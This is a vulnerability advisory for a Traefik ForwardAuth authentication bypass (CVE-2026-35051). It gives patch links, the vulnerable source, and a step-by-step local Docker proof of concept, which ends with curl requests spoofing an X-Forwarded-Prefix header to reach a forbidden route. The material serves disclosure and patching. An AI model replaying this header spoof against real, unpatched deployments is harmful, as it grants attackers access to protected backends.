Traefik CVE-2026-35051

Summary

There is a high-severity authentication bypass vulnerability in Traefik's ForwardAuth middleware when trustForwardHeader=false is configured and Traefik is deployed behind a trusted upstream proxy.

While X-Forwarded-* headers (such as X-Forwarded-For, X-Forwarded-Host, and X-Forwarded-Proto) from trusted context are correctly rebuilt, it does not strip or rebuild X-Forwarded-Prefix, leaving any attacker-supplied value intact in the subrequest forwarded to the authentication service.

When the authentication service makes authorization decisions based on X-Forwarded-Prefix, an external attacker can spoof a trusted prefix value and gain unauthorized access to protected backend routes.

Patches

• https://github.com/traefik/traefik/releases/tag/v2.11.43
• https://github.com/traefik/traefik/releases/tag/v3.6.14
• https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2

For more information

If there are any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary

ForwardAuth with trustForwardHeader=false still forwards an attacker-controlled X-Forwarded-Prefix header to the authentication service when Traefik is deployed behind a trusted upstream proxy. If the auth service relies on X-Forwarded-Prefix for authorization or routing decisions, an external attacker can bypass access controls and reach protected backend routes.

This was validated this against Traefik v3.6.12 using the official Docker image and a minimal local Docker setup. A direct request to Traefik is correctly rejected, but the same request succeeds when sent through a trusted reverse proxy, which shows the issue is in the ForwardAuth subrequest handling rather than general ingress header stripping.

Details

The vulnerable behavior comes from the way Traefik builds the subrequest sent to the forward-auth server.

In [pkg/middlewares/auth/forward.go](pkg/middlewares/auth/forward.go), writeHeader first copies all incoming request headers into the auth subrequest:

func writeHeader(req, forwardReq *http.Request, trustForwardHeader bool, allowedHeaders []string) {
    utils.CopyHeaders(forwardReq.Header, req.Header)
    ...
    forwardReq.Header = filterForwardRequestHeaders(forwardReq.Header, allowedHeaders)

It then selectively rebuilds only a subset of forwarded headers when trustForwardHeader=false, for example:

• X-Forwarded-For
• X-Forwarded-Method
• X-Forwarded-Proto
• X-Forwarded-Port
• X-Forwarded-Host
• X-Forwarded-Uri

However, it does not remove or rebuild X-Forwarded-Prefix, so an attacker-supplied value remains in the auth request even when forwarded headers are supposed to be untrusted.

This becomes security-relevant when StripPrefix is used before ForwardAuth. In [pkg/middlewares/stripprefix/strip_prefix.go](pkg/middlewares/stripprefix/strip_prefix.go), Traefik appends the stripped prefix using Header.Add:

func (s *stripPrefix) serveRequest(rw http.ResponseWriter, req *http.Request, prefix string) {
    req.Header.Add(ForwardedPrefixHeader, prefix)

If the attacker already sent X-Forwarded-Prefix: /admin, and StripPrefix later adds /forbidden, the auth service receives both values in this order:

1. /admin (attacker-controlled)
2. /forbidden (Traefik-generated)

An auth service that uses the first X-Forwarded-Prefix value can therefore be tricked into authorizing a protected route.

Why this appears unintended:

• The docs say trustForwardHeader means "Trust all X-Forwarded-* headers" and defaults to false.
• The migration notes say X-Forwarded-Prefix is handled like other X-Forwarded-* headers and removed from untrusted sources.
• The direct-to-Traefik test case behaves consistently with that expectation and returns 403.
• Only the auth subrequest path still honors the spoofed X-Forwarded-Prefix.

Relevant source/documentation locations:

• pkg/middlewares/auth/forward.go lines 393-459
• pkg/middlewares/stripprefix/strip_prefix.go lines 65-68
• pkg/middlewares/forwardedheaders/forwarded_header.go lines 15-43
• docs/content/reference/routing-configuration/http/middlewares/forwardauth.md lines 59-62 and 130-140
• docs/content/migrate/v3.md lines 192-196

This was only tested and validated with X-Forwarded-Prefix. By source review, other forwarded headers that are copied but not rebuilt in writeHeader may deserve separate review, but I am not claiming impact for them here.

PoC

The following uses the official traefik:v3.6.12 Docker image and a mounted traefik.toml, matching the documented deployment style.

1. Create traefik.toml:

[entryPoints]
  [entryPoints.web]
    address = ":80"
    [entryPoints.web.forwardedHeaders]
      trustedIPs = ["172.31.79.0/24"]

[providers]
  [providers.file]
    filename = "/etc/traefik/dynamic.toml"
    watch = false

[log]
  level = "DEBUG"

[accessLog]

1. Create dynamic.toml:

[http.routers]
  [http.routers.app]
    entryPoints = ["web"]
    rule = "Host(`app.local`) && PathPrefix(`/forbidden`)"
    middlewares = ["strip-forbidden", "authz"]
    service = "backend"

[http.middlewares]
  [http.middlewares.strip-forbidden.stripPrefix]
    prefixes = ["/forbidden"]

  [http.middlewares.authz.forwardAuth]
    address = "http://auth:8000/check"
    trustForwardHeader = false
    authResponseHeaders = ["X-Auth-First-Prefix", "X-Auth-All-Prefixes"]

[http.services]
  [http.services.backend.loadBalancer]
    [[http.services.backend.loadBalancer.servers]]
      url = "http://backend:80"

1. Create auth.py:

import json
from http.server import BaseHTTPRequestHandler, HTTPServer


class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        if not self.path.startswith("/check"):
            self.send_response(404)
            self.end_headers()
            return

        prefixes = self.headers.get_all("X-Forwarded-Prefix") or []
        first = prefixes[0] if prefixes else ""
        payload = {
            "path": self.path,
            "first_prefix": first,
            "all_prefixes": prefixes,
            "x_forwarded_for": self.headers.get_all("X-Forwarded-For") or [],
        }
        print(json.dumps(payload), flush=True)

        if first == "/admin":
            self.send_response(200)
            self.send_header("X-Auth-First-Prefix", first)
            self.send_header("X-Auth-All-Prefixes", "|".join(prefixes))
            self.end_headers()
            self.wfile.write(b"authorized\n")
            return

        self.send_response(403)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        self.wfile.write(json.dumps(payload).encode() + b"\n")


HTTPServer(("0.0.0.0", 8000), Handler).serve_forever()

1. Create frontend.conf:

server {
    listen 80;
    access_log /dev/stdout;

    location / {
        proxy_http_version 1.1;
        proxy_pass http://traefik:80;
        proxy_set_header Host $http_host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

1. Start the containers:

docker network create --subnet 172.31.79.0/24 traefik-readme-net

docker run -d --name traefik-readme-backend \
  --network traefik-readme-net \
  --network-alias backend \
  traefik/whoami

docker run -d --name traefik-readme-auth \
  --network traefik-readme-net \
  --network-alias auth \
  -v "$PWD/auth.py:/app/auth.py:ro" \
  -w /app \
  python:3.12-alpine \
  python /app/auth.py

docker run -d --name traefik-readme-traefik \
  --network traefik-readme-net \
  --network-alias traefik \
  -p 18081:80 \
  -v "$PWD/traefik.toml:/etc/traefik/traefik.toml:ro" \
  -v "$PWD/dynamic.toml:/etc/traefik/dynamic.toml:ro" \
  traefik:v3.6.12

docker run -d --name traefik-readme-frontend \
  --network traefik-readme-net \
  -p 18080:80 \
  -v "$PWD/frontend.conf:/etc/nginx/conf.d/default.conf:ro" \
  nginx:alpine

1. Send three requests:

Direct to Traefik, spoofed header:

curl -sS -i \
  -H 'Host: app.local' \
  -H 'X-Forwarded-Prefix: /admin' \
  http://127.0.0.1:18081/forbidden/test

Expected result:

HTTP/1.1 403 Forbidden
...
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"]}

Through trusted proxy, no spoofing:

curl -sS -i \
  -H 'Host: app.local' \
  http://127.0.0.1:18080/forbidden/test

Expected result:

HTTP/1.1 403 Forbidden
...
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"]}

Through trusted proxy, spoofed header:

curl -sS -i \
  -H 'Host: app.local' \
  -H 'X-Forwarded-Prefix: /admin' \
  http://127.0.0.1:18080/forbidden/test

Observed result:

HTTP/1.1 200 OK
...
X-Auth-All-Prefixes: /admin|/forbidden
X-Auth-First-Prefix: /admin
X-Forwarded-Prefix: /admin
X-Forwarded-Prefix: /forbidden

The backend response confirms that the request reached the protected upstream after the auth service accepted the attacker-controlled prefix.

1. Optional log confirmation from the auth service:

docker logs traefik-readme-auth

Observed log sequence:

{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"], ...}
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"], ...}
{"path": "/check", "first_prefix": "/admin", "all_prefixes": ["/admin", "/forbidden"], ...}

1. Cleanup:

docker rm -f traefik-readme-traefik traefik-readme-backend traefik-readme-auth traefik-readme-frontend
docker network rm traefik-readme-net

Impact

This is an authentication bypass / trust-boundary bypass.

Affected deployments are those that:

• run Traefik behind a trusted upstream proxy
• use ForwardAuth
• rely on trustForwardHeader=false to avoid trusting client-supplied forwarded headers
• pass X-Forwarded-Prefix to the auth service, which happens by default when authRequestHeaders is empty
• make authorization or routing decisions based on X-Forwarded-Prefix, especially when StripPrefix runs before ForwardAuth

In those environments, an unauthenticated external attacker can influence the auth service's view of the protected path and gain access to backend routes that should be denied.

</details>

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